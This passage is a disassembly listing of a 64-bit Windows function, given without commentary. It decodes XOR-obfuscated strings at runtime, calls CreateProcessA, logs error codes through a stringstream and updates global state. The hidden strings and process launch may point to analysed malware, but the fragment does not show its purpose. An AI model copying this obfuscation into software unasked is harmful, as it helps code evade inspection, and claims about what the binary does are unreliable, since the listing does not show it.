mov byte [rbp - 0x27], r15b
xor r12b, r9b
mov byte [rbp - 0x26], r12b
xor r13b, r9b
mov byte [rbp - 0x25], r13b
mov byte [rbp - 0x24], 0
xor r12d, r12d
mov ecx, r12d
lea r13, [0x14075f770]
nop
movzx eax, byte [rbp + rcx - 0x3f]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140065d20
lea rdi, [0x14010e59c]
mov qword [0x14075f760], rdi
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r12d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r12d
lea r14, [0x14010e5a0]
mov qword [0x14075f768], r14
jmp 0x140065d75
lea rdi, [0x14010e59c]
mov rax, qword [rbp + 0x328]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xd0], rax
mov dword [rbp + 0x70], 0x68
or dword [rbp + 0xac], 0x100
mov word [rbp + 0xb0], r12w
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x1f8]
call fcn.14006d360
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
lea rax, [rbp + 0x38]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
lea rcx, [rbp - 0x40]
call fcn.140049850
test ebx, ebx
jne 0x14006601a
lea rax, [0x140111b50]
mov qword [rbp + 0xe0], rax
lea rax, [0x140111300]
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x178]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x320], 7
xor r8d, r8d
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xe0], rax
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xdc], edx
lea rcx, [rbp + 0xf8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x160], r12
mov dword [rbp + 0x168], r12d
mov byte [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov al, 0x6a
mov cl, 0x7d
movzx edx, cl
mov r8b, 0x60
movzx r9d, cl
mov r10b, 0x2f
mov r11b, 0x3f
mov bl, 0x77
mov dil, gethostname
mov sil, Ordinal_60
xor r15d, r15d
xor al, 0xf
mov byte [rbp - 0x1f], al
xor cl, 0xf
mov byte [rbp - 0x1e], cl
xor dl, 0xf
mov byte [rbp - 0x1d], dl
xor r8b, 0xf
mov byte [rbp - 0x1c], r8b
xor r9b, 0xf
mov byte [rbp - 0x1b], r9b
xor r10b, 0xf
mov byte [rbp - 0x1a], r10b
xor r11b, 0xf
mov byte [rbp - 0x19], r11b
xor bl, 0xf
mov byte [rbp - 0x18], bl
xor dil, 0xf
mov byte [rbp - 0x17], dil
xor sil, 0xf
mov byte [rbp - 0x16], sil
mov byte [rbp - 0x15], r15b
lea rdx, [rbp - 0x1f]
lea rcx, [rbp + 0xf0]
call fcn.140071310
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xf8]
call fcn.14006d360
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rcx, qword [rbp - 0x40]
sub r13, rcx
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140065f70
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r15d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r15d
mov qword [0x14075f768], r14
lea rcx, [rbp - 0x40]
call fcn.140049850
nop
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xe0], rax
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xdc], edx
lea rcx, [rbp + 0xf8]
call fcn.14006aae0
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x178]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x1400660d0
movdqa xmm1, xmmword [0x1401128a0]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x3f], al
xor byte [rbp - 0x3e], cl
xor byte [rbp - 0x3d], cl
xor byte [rbp - 0x3c], cl
xor byte [rbp - 0x3b], cl
xor byte [rbp - 0x3a], cl
xor byte [rbp - 0x39], cl
xor byte [rbp - 0x38], cl
xor byte [rbp - 0x37], cl
xor byte [rbp - 0x36], cl
xor byte [rbp - 0x35], cl
xor byte [rbp - 0x34], cl
xor byte [rbp - 0x33], cl
xor byte [rbp - 0x32], cl
xor byte [rbp - 0x31], cl
mov byte [rbp - 0x30], 0
mov rcx, r12
nop
movzx eax, byte [rbp + rcx - 0x3f]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140066070
mov qword [0x14075f760], rdi
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], 0
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], 0
lea rax, [0x14010eb78]
mov qword [0x14075f768], rax
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1dc], edx
lea rcx, [rbp + 0x1f8]
call fcn.14006aae0
lea rcx, [rbp + 0x200]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x278]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov r15, qword [rbp + 0x50]
mov r8, qword [rbp + 0x28]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x28]
call fcn.140077dd0
mov edx, 0x60
mov rcx, qword [rbp + 0x28]
call fcn.1400ed628
nop
test r15, r15
je 0x140066190
mov rdx, qword [rbp + 0x60]
sub rdx, r15
and rdx, 0xfffffffffffffff8
mov rax, r15
cmp rdx, 0x1000
jb 0x140066188
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066188
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400ed628
mov rbx, qword [rsp + 0x438]
add rsp, 0x3e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret